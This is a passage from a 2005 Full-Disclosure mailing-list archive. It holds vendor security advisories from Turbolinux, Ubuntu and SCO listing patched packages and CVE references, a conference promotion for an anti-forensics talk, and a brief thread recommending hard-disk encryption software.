5df330993a65405eb845be1f1b6b12cd ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-contrib-4.3.0-77.i586.rpm 466061 52cc4b83c716d6e79b9061868450f88f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-cyrillic-fonts-4.3.0-77.i586.rpm 411823 5e81e96d9381c62f207442df6da45423 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-debug-4.3.0-77.i586.rpm 1377048 aceb6c284ec571f145c482eedfbaef78 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-devel-4.3.0-77.i586.rpm 5019869 cdc364bf982fad2ef0e6de217f3abd3d ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-fonts-4.3.0-77.i586.rpm 8769483 0da5b1474b099bb2bf3d01edda792603 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-libs-4.3.0-77.i586.rpm 2647941 0f28d2cffc3e1e84126d46262725f9e6 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-twm-4.3.0-77.i586.rpm 117532 63709419ef668e12eae1520c55a767aa ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xcursor-4.3.0-77.i586.rpm 50393 025e2a0e8ed4569c0b3ba36621eb426b ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xcursor-devel-4.3.0-77.i586.rpm 47685 633730af58c2ec7aea3fb1579aeef630 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xf86config-4.3.0-77.i586.rpm 317697 9df69cf1936d3ed833ca5acae1c403d7 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xfs-4.3.0-77.i586.rpm 83290 c432d53f1cf1328521457d754022c6f4 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xft-4.3.0-77.i586.rpm 79480 80aabaa94ec8fc20f54acc2193d017b4 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xft-devel-4.3.0-77.i586.rpm 65413 99eba2b51bb1a97a70fd5b168a41aa30 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/XFree86-4.3.0-77.src.rpm 56924470 eb845b3be235bb21aa0278a180623083 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-100dpi-fonts-4.3.0-77.i586.rpm 12437426 b9111393e5ebdb113c6289988e18d5f3 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-4.3.0-77.i586.rpm 17895556 defec85ce43edc9fc38da3178a5a81c5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-75dpi-fonts-4.3.0-77.i586.rpm 10768171 0cc075e2c541b18e0b03c246aa733778 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-Xvfb-4.3.0-77.i586.rpm 1770857 7303649f87334a166053f79daa58ea7e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-contrib-4.3.0-77.i586.rpm 468946 f8b101e81546e121bff3b66580e0abca ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-cyrillic-fonts-4.3.0-77.i586.rpm 411831 bde2193dbe541209df9db215e0e7af46 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-devel-4.3.0-77.i586.rpm 5044863 800299b8040b044bcc98ea4a584958f9 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-fonts-4.3.0-77.i586.rpm 8769933 adf97005250306846b5043ab4d20b91e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-libs-4.3.0-77.i586.rpm 2650733 29503d891efdd23d4338453c8586f613 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-twm-4.3.0-77.i586.rpm 117791 63d4137b167576f8d1d9160aa68e270e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xcursor-4.3.0-77.i586.rpm 50522 317efcf80d9c80d4ee07e63c744f9508 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xcursor-devel-4.3.0-77.i586.rpm 43701 a0fc3b3c692b2df34cd0f1f01062e7d4 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xf86config-4.3.0-77.i586.rpm 319370 f382c487a8bec7dfc474d0ba0d8b42d3 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xfs-4.3.0-77.i586.rpm 83644 db73fa54d5c7bd5505014ccf09b6cf1f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xft-4.3.0-77.i586.rpm 79556 bc989ac39f0aee3e90c78fa098e2057e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xft-devel-4.3.0-77.i586.rpm 65526 cc883a49cc3094ec848e625619a533b2 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/XFree86-4.2.0-31.src.rpm 59402584 d2d88c18b1130b86927152ff03ece881 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-100dpi-fonts-4.2.0-31.i586.rpm 12400410 34d10be76f54acc21491a00899a71702 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-4.2.0-31.i586.rpm 22743452 2d46d8869809b4cf4057073aa1424691 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-75dpi-fonts-4.2.0-31.i586.rpm 10731375 ba1de2759dcc7147e2db62b03e6c88ec ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-contrib-4.2.0-31.i586.rpm 308144 45b5035ce028061f85307e523e744ca4 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-cyrillic-fonts-4.2.0-31.i586.rpm 397538 716c536d56b62bfd0d01d36da3e6e84b ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-devel-4.2.0-31.i586.rpm 4614429 9c36dca86bf64abb155fa69bfcf862a6 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-libs-4.2.0-31.i586.rpm 2130130 71c9879567f941b333ef9357f0923b2e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/XFree86-xfs-4.2.0-31.i586.rpm 71877 5d4624ac221daa59fa0be17667fa1402 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/XFree86-4.2.0-31.src.rpm 59402584 d2d88c18b1130b86927152ff03ece881 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-100dpi-fonts-4.2.0-31.i586.rpm 12400862 55aca027c4a93336f441b2f97edebc38 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-4.2.0-31.i586.rpm 22742661 8078bd1063760502eacaff6b2a624f17 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-75dpi-fonts-4.2.0-31.i586.rpm 10731374 57a913169b1210046e66b4cdfa1d4add ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-contrib-4.2.0-31.i586.rpm 307956 9b8262aee19812f4ddd570f11385b080 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-cyrillic-fonts-4.2.0-31.i586.rpm 397535 90a5212d0f613b73324a5d9a92bd7b5e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-devel-4.2.0-31.i586.rpm 4614017 f580d9b9d34fc52855421429adf5963b ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-libs-4.2.0-31.i586.rpm 2129819 bb11ef81170bd7fe0ce6497863708914 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/XFree86-xfs-4.2.0-31.i586.rpm 71862 dbed6ee63513445d15902040b7aba2e3 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/XFree86-4.1.0-40.src.rpm 56822593 d1dc66c85ed9362c5a60c01a9ff4f3b6 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-100dpi-fonts-4.1.0-40.i586.rpm 12395748 f7480f3e13f0eac6cc86ca571373d4cd ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-4.1.0-40.i586.rpm 20305802 48332f6693f31a7df62b33d55d50d41e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-75dpi-fonts-4.1.0-40.i586.rpm 10728284 7086a66f0bf56ad672036f6a34f92800 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-contrib-4.1.0-40.i586.rpm 241514 2b57c0c668640d15abec76d705e7ad02 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-cyrillic-fonts-4.1.0-40.i586.rpm 393107 11007a23de8827f279e0b8f70b4e1685 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-devel-4.1.0-40.i586.rpm 4081975 53a48bd6a8e9b1db753973780512cc8c ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-libs-4.1.0-40.i586.rpm 2152590 b6ba737c3f676346837841a88484b69f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/XFree86-xfs-4.1.0-40.i586.rpm 65361 020ecfddb6a42d11d8f89b54c52f273e Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/XFree86-4.1.0-40.src.rpm 56822593 f499b57975db35a67b7cc30f5611dd95 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-100dpi-fonts-4.1.0-40.i586.rpm 12395916 9f5c90bc2292eec9ad8258fa27fcef05 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-4.1.0-40.i586.rpm 20305729 c592c0b7ded715b684f373893a02fdad ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-75dpi-fonts-4.1.0-40.i586.rpm 10726676 f80f6b3efa546a16e6ff1519f8282c3e ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-contrib-4.1.0-40.i586.rpm 241629 5b0d933767e2c4f75171402d7fc8b23d ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-cyrillic-fonts-4.1.0-40.i586.rpm 393113 afad572afbed7ace7f57eb3552bd0e18 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-devel-4.1.0-40.i586.rpm 4081652 cb1a1892dd927001bc1bdde67603f872 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-libs-4.1.0-40.i586.rpm 2152078 c5548d688b1f8580363fb427d1eae7fc ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-xfs-4.1.0-40.i586.rpm 65308 bd873f1147e4420bcdc324f6f4fcaf14 References: CVE [CAN-2004-0687] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0687 [CAN-2004-0688] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0688 [CAN-2004-0914] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0914 =========================================================== * imlib -> Two vulnerabilities discovered in imlib =========================================================== More information: Imlib is a display depth-independent image loading and rendering library. Imlib is designed to simplify and speed up the process of loading images and obtaining X Window System drawables. Imlib provides many simple manipulation routines which can be used for common operations. Multiple issues have been discovered in imlib: - Multiple heap-based buffer overflows - Multiple integer overflows in the imlib image handler Impact: These vulnerabilities may allow remote attackers to execute arbitrary code via malformed image files. Affected Products: - Turbolinux 10 Server - Turbolinux Home - Turbolinux 10 F... - Turbolinux 10 Desktop - Turbolinux 8 Server - Turbolinux 8 Workstation - Turbolinux 7 Server - Turbolinux 7 Workstation Solution: Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home] # turbopkg or # zabom -u imlib imlib-devel imlib-cfgeditor imlib-debug [other] # turbopkg or # zabom update imlib imlib-devel --------------------------------------------- Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/imlib-1.9.14-9.src.rpm 671199 8fa559a156b2f32932b0c056e91cab10 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-1.9.14-9.i586.rpm 156437 903c55bb189dbbbcfbd2da0e9367a979 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-cfgeditor-1.9.14-9.i586.rpm 237300 80169d1933dfa0d055309291a2acaf65 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-debug-1.9.14-9.i586.rpm 881100 b4456c4ee4b63ec72e40ad515718cd01 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-devel-1.9.14-9.i586.rpm 227288 a51634b47f72ed7892fe7f0ce7493d12 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/imlib-1.9.14-9.src.rpm 671199 65fa097e57bf9e8994fa33c4b228ee1b Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/imlib-1.9.14-9.i586.rpm 155675 118b05bce35378acdff10f25f4e94ac5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/imlib-devel-1.9.14-9.i586.rpm 227719 851c484e13d3d23ef8366e9479e5f5b2 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/imlib-1.9.13-10.src.rpm 835902 0cdc1b2b11958b9e5656150184546dc1 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-1.9.13-10.i586.rpm 138166 726d61918da3282354079e767c66987d ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-cfgeditor-1.9.13-10.i586.rpm 234782 a344ccb8bf63c40cb68118096aa1afa3 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-devel-1.9.13-10.i586.rpm 227939 783ba488fb78504d3659bd16a2faea41 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/imlib-1.9.13-10.src.rpm 835902 b47e72aff2d37923ce7d51f0e21bbbad Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-1.9.13-10.i586.rpm 138121 9303aa6f89427d6803df4d1c2abb406f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-cfgeditor-1.9.13-10.i586.rpm 234839 c62f1822cd7395e36eb24d490330d441 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-devel-1.9.13-10.i586.rpm 227967 5766fdbaa97fd1cb90156fd3ad8e55fb Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/imlib-1.9.10-7.src.rpm 793613 97708aba2aba0434735c9f0e9e56cf68 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/imlib-1.9.10-7.i586.rpm 128854 060b6e083f34ae092eaaa499014d2e48 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/imlib-devel-1.9.10-7.i586.rpm 219639 0006ab5e52362c8501c0b77e41a8c5f4 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/imlib-1.9.10-7.src.rpm 793613 fd71ba9137199f255d2134d5856289ec Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-1.9.10-7.i586.rpm 128838 77bfcda3d83b2bee97408b48af82d161 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-cfgeditor-1.9.10-7.i586.rpm 233339 1a77a724824e43bd711c964cab1e652d ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-devel-1.9.10-7.i586.rpm 219564 11ca9e1c806156aa67473024081e5dad References: CVE [CAN-2004-1025] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1025 [CAN-2004-1026] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1026 * You may need to update the turbopkg tool before applying the update. Please refer to the following URL for detailed information. http://www.turbolinux.com/download/zabom.html http://www.turbolinux.com/download/zabomupdate.html Package Update Path http://www.turbolinux.com/update/ ============================================================ * To obtain the public key Here is the public key http://www.turbolinux.com/security/ * To unsubscribe from the list If you ever want to remove yourself from this mailing list, you can send a message to with the word `unsubscribe' in the body (don't include the quotes). unsubscribe * To change your email address If you ever want to chage email address in this mailing list, you can send a message to with the following command in the message body: chaddr 'old address' 'new address' If you have any questions or problems, please contact Thank you! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFB71FMK0LzjOqIJMwRAsEUAJ9599AhFk55nlg0VUIkrleS7wcqTQCfQfUB l9TjxOhzPUipkIw4gPqffjU= =OkBL -----END PGP SIGNATURE----- From bcs2005 at bellua.com Thu Jan 20 12:37:50 2005 From: bcs2005 at bellua.com (Anthony Zboralski) Date: Thu, 20 Jan 2005 19:37:50 +0700 Subject: [Full-Disclosure] Re: [ISN] Book Review: Forensic Discovery In-Reply-To: References: Message-ID: <190A3FEA-6AE0-11D9-97C7-000A95B1B62E@bellua.com> On 19 Jan 2005, at 14:55, InfoSec News wrote: > http://books.slashdot.org/books/05/01/18/2110235.shtml > > [ http://www.amazon.com/exec/obidos/ASIN/020163497X/c4iorg - WK] > > Author: Dan Farmer & Wietse Venema > Pages: 198 > Publisher: Addison Wesley Professional > Rating: 10 > Reviewer: Ben Rothke > ISBN: 020163497X > Summary: Forensic Discovery overview > > Security luminaries Dan Farmer and Wietse Venema wrote one of the > first vulnerability scanners (SATAN) almost 10 years ago; SATAN was > the precursor to ISS Scanner, Retina and nmap. Venema wrote such > well-known security applications as the TCP Wrapper program and the > Postfix mail server. Farmer and Venema's new book Forensic Discovery > is a valuable book that grounds a computer-savvy reader in the world > of digital forensics. Source: http://hert.org/story.php/58 After reading the review of Dan Farmer and Wietse's Forensic Discovery, you should hear about The Grugq who got fired from @stake after writing a Phrack Article in which he exposed numerous flaws in The Coroner's Toolkit by Dan & Wietse. Before you read this book, check out the video (bittorrent) of The Grugq on The Art of Defiling and see how to defeat "industry grade" forensic tools and techniques . You can also meet him at a hacker convention near you (in March at BCS2005 in Jakarta, in April at Black Hat in S'pore and Amsterdam and at HITB2005 Bahrain. Video of the Grugq's Speech, The Art of Defiling: http://www.hert.org/z/grugq.torrent (Courtesy of HITB2004) Presentation Slides: http://packetstormsecurity.com/hitb04/hitb04-grugq.pdf (from HITB2004) Phrack article: http://www.phrack.org/show.php?p=59&a=6 (Phrack 59) Grugq's Profile: http://www.bellua.com/bcs2005/asia05.speakers.html#grugq The Grugq has been researching anti-forensics for almost 5 years. He has presented to the UK's largest forensic practitioner group where he scared Scotland Yard. Grugq has worked to secure the networks and hosts of global corporations, and he's also worked for security consulting companies. His work as a security consultant was cut short temporarily following the publication of an article on anti-forensics. P.S. Is it illegal to talk about anti-forensics under the Patriot Act? gaius -- Bellua Cyber Security Asia 2005 - http://www.bellua.com/bcs2005 21-22 March - The Workshops - 23-24 March - The Conference bcs2005 at bellua.com - Phone: +62213918330 HP:+628159102495 From martin.pitt at canonical.com Thu Jan 20 17:29:42 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Thu, 20 Jan 2005 18:29:42 +0100 Subject: [Full-Disclosure] [USN-66-1] PHP vulnerabilities Message-ID: <20050120172942.GA28776@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-66-1 January 20, 2005 php4 vulnerabilities http://www.securitytracker.com/alerts/2004/Oct/1011984.html http://www.securityfocus.com/archive/1/384920 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: libapache2-mod-php4 php4-cgi php4-curl The problem can be corrected by upgrading the affected package to version 4:4.3.8-3ubuntu7.3. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: FraMe from kernelpanik.org reported that the cURL module does not respect open_basedir restrictions. As a result, scripts which used cURL to open files with an user-specified path could read arbitrary local files outside of the open_basedir directory. Stefano Di Paola discovered a vulnerability in PHP's shmop_write() function. Its "offset" parameter was not checked for negative values, which allowed an attacker to write arbitrary data to arbitrary memory locations. A script which passed unchecked parameters to shmop_write() could possibly be exploited to execute arbitrary code with the privileges of the web server and to bypass safe mode restrictions. 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050120/97b911f1/attachment.bin From mkleinpeter at ebay.com Thu Jan 20 18:13:25 2005 From: mkleinpeter at ebay.com (Mike Klein) Date: Thu, 20 Jan 2005 10:13:25 -0800 Subject: [Full-Disclosure] harddisk encryption In-Reply-To: <31972.1106213279@www38.gmx.net> References: <31972.1106213279@www38.gmx.net> Message-ID: <41EFF4C5.2070809@ebay.com> Have you considered PGPdisk? Not only is crypto proven, but you get source code too (which is usually the case with truly proven crypto technologies). -mike klein Lentila de Vultur wrote: >hi, > >i'm evaluating a software that performs harddisk encryption for deploying in >my company. the software in question is utimaco safeguard easy v4.10 >(www.utimaco.com) running on w2k. > >i am interested in communitty's oppinion about this product. has anyone >performed a detailed analysis of it? i googled around but i couldn't find >much information, except that the version 3.20 sr1 has earned an eal3 >certification from the german federal agency for it security. > >tia > > > From arr at watson.org Thu Jan 20 19:23:54 2005 From: arr at watson.org (Andrew R. Reiter) Date: Thu, 20 Jan 2005 19:23:54 +0000 (GMT) Subject: [Full-Disclosure] harddisk encryption In-Reply-To: <41EFF4C5.2070809@ebay.com> References: <31972.1106213279@www38.gmx.net> <41EFF4C5.2070809@ebay.com> Message-ID: <20050120192210.O91936@fledge.watson.org> Hrm; this, I believe, is only supported under FreeBSD, but check out: http://phk.freebsd.dk/pubs/bsdcon-03.gbde.paper.pdf I haven't followed the entire thread so not sure if this would be useful to you or not. Cheers, Andrew On Thu, 20 Jan 2005, Mike Klein wrote: :Have you considered PGPdisk? : :Not only is crypto proven, but you get source code too (which is usually :the case with truly proven crypto technologies). : : :-mike klein : :Lentila de Vultur wrote: : :>hi, :> :>i'm evaluating a software that performs harddisk encryption for deploying in :>my company. the software in question is utimaco safeguard easy v4.10 :>(www.utimaco.com) running on w2k. :> :>i am interested in communitty's oppinion about this product. has anyone :>performed a detailed analysis of it? i googled around but i couldn't find :>much information, except that the version 3.20 sr1 has earned an eal3 :>certification from the german federal agency for it security. :> :>tia :> :> :> :_______________________________________________ :Full-Disclosure - We believe in it. :Charter: http://lists.netsys.com/full-disclosure-charter.html : : -- Andrew R. Reiter arr at watson.org arr at FreeBSD.org From dk at pwarchitects.com Thu Jan 20 19:26:11 2005 From: dk at pwarchitects.com (dk) Date: Thu, 20 Jan 2005 13:26:11 -0600 Subject: [Full-Disclosure] harddisk encryption In-Reply-To: <41EFF4C5.2070809@ebay.com> References: <31972.1106213279@www38.gmx.net> <41EFF4C5.2070809@ebay.com> Message-ID: <41F005D3.2070406@pwarchitects.com> Mike Klein wrote: > but you get source code too (which is usually > the case with truly proven crypto technologies). Indeed, crypto, sans re viewable source, is questionable if for no other reason. Am I (or you) personally capable of reviewing all that source? Maybe, maybe not. But it offers that opportunity to a community that I can become familiar with to make and informed decision. -- dk From please_reply_to_security at sco.com Thu Jan 20 20:37:03 2005 From: please_reply_to_security at sco.com (please_reply_to_security at sco.com) Date: Thu, 20 Jan 2005 12:37:03 -0800 Subject: [Full-Disclosure] OpenServer 5.0.6 OpenServer 5.0.7 : bind remote attacker can poison the nameserver cache Message-ID: <20050120123703.A9237@caldera.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: OpenServer 5.0.6 OpenServer 5.0.7 : bind remote attacker can poison the nameserver cache Advisory number: SCOSA-2005.4 Issue date: 2005 January 20 Cross reference: sr886767 fz528463 erg712478 CAN-2003-0914 ______________________________________________________________________________ 1. Problem Description ISC BIND 8.3.x before 8.3.7, and 8.4.x before 8.4.3, allows remote attackers to poison the cache via a malicious name server that returns negative responses with a large TTL (time-to-live) value. CERT/CC Incident Note VU#734644 The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2003-0914 to this issue. 2. Vulnerable Supported Versions System Binaries ---------------------------------------------------------------------- OpenServer 5.0.7 See the Maintenance Pack 3 Release Notes OpenServer 5.0.6 /etc/named /etc/named-xfer /usr/bin/nslookup /etc/dig /etc/host /etc/nsupdate /etc/dnsquery /etc/addr 3. Solution The proper solution is to install the latest packages. 4. OpenServer 5.0.6 4.1 First install oss646c or later 4.2 Location of oss646c ftp://ftp.sco.com/pub/openserver5/oss646c/ 4.3 Verification of oss646c MD5 (VOL.000.000) = f19b6c6949f615316bfb075d249989e8 MD5 (VOL.000.001) = 341ff8553aecd2c7b0c2beaf83030d0f MD5 (VOL.000.002) = 6e46708ad8029e12280d4f9ac60ab814 MD5 (VOL.000.003) = 2868b64a6a6db742adb3b485be645d7e MD5 (VOL.000.004) = 1696fe1db9bb063827ee5e76e58dff84 MD5 (VOL.000.005) = f39da342f8af72fcaccdf478dca04109 MD5 (VOL.000.006) = 2b31611c8af7d2e7910d6e8e3cf701a6 MD5 (VOL.000.007) = d0175c0f4e3ed29435b1eab95609f8f4 MD5 (VOL.000.008) = aa9e8a525c341fed077f981b1dacb486 MD5 (VOL.000.009) = 8e023af67b57507824406bdda322079a MD5 (VOL.000.010) = 2b46e8adba8ae0b64109f2069da978a2 4.4 Installation of oss646c See ftp://ftp.sco.com/pub/openserver5/oss646c/oss646c.txt 4.5 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.4 4.6 Verification MD5 (VOL.000.000) = 